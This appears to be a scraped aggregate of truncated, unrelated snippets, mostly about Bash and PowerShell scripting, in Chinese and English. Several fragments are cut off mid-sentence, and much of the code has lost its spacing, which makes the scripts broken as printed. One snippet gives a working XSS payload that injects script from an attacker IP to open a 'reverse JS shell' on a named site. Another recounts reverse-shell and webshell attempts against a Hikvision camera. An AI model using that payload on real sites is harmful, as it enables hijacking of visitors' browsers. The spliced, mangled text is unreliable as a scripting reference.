A shell script is a series of commands written in a file; the shell reads the commands from the file just as it would if you typed them into a terminal. 如果你能在 shell 中输入命令,你就能编写 shell 脚本(也称为 Bourne shell 脚本)。 shell 脚本是写在文件中的一系列命令;shell 会从文件...
惊叹号(negate or reverse) 通常它代表反逻辑的作用,譬如条件侦测中,用 != 来代表"不等于" 1 2 3 4 5 6 7 8 9 [root@VM_16_9_centos ~]# cat a.sh #!/bin/bash if["$?"!= 0 ];then echo"Executes error" exit1 fi [root@VM_16_9_centos ~]# sh a.sh "Executes error" 在规则表达...
4. SSH 上面首先是尝试了反向控制相关的远程下载、反弹shell,也尝试了正向控制中的 Webshell,都没有成功,由于是测试环境,我是知道它是出网的,所以没有测试出网情况。 没有nc、telnet之类的工具,就只能使用现有的服务来监听端口了,ssh服务是一个不错的选择,这也是PoC中利用的方式 海康威视的这个摄像头的ssh是通过...
惊叹号(negate or reverse) 通常它代表反逻辑的作用,譬如条件侦测中,用 != 来代表"不等于" [root@VM_16_9_centos ~]# cat a.sh #!/bin/bash if [ "$?" != 0 ];then echo "Executes error" exit 1 fi [root@VM_16_9_centos ~]# sh a.sh "Executes error" 1. 2. 3. 4. 5. 6. 7....
0)break;;#输入数字非1-4的提示*)echo"please input number is [1-4]"esac ### 14.接受系统当前用户名为参数,判断用户 judgeUser.sh #!/bin/bash#接受系统当前用户名为参数;判断其为管理员root,系统用户system,普通用户user;userid=$(id-u)if[$userid-eq 0 ];thenecho"root"elif[$userid-gt 0 -...
ShellJS is a portable(Windows/Linux/macOS)implementation of Unix shell commands on top of the Node.js API. You can use it to eliminate your shell script's dependency on Unix while still keeping its familiar and powerful commands. You can also install it globally so you can run it from ou...
Now paste this payload to the website: https://vulnwebs1te.com/b/search?q=<svg/onload=setInterval(function(){with(document)body.appendChild(createElement("script")).src="//171.224.181.106:4848"},1248)> Access the page and we will have the reverse JS shell: ...
Write a script to reverse a given string read -p "please enter a String: " word length=$(echo -n $word | wc -c) output="" while [ $length -ge 1 ] do lastcharcter=$(echo -n word | cut -c $length) output=$output$lastcharacter let length-- done echo "the reversed character...
at the PowerShell script that was released by Microsoft as part of the Stream (Classic) migration tools. The PowerShell script released by Microsoft can be downloaded directly from Stream (Classic) admin page and also has a PowerBI Desktop template that can be used to...
WindowsPowerShell默认情况下不从当前位置加载命令。如果信任此命令,请改为键入"./MyScript.ps1"。有关更多详细信息,请参阅"get-help about_Command_Precedence"。 解决办法很简单,如果脚本在当前工作目录,请在脚本文件明前添加./,或者使用绝对路径。 PS E:> ./MyScript.ps1...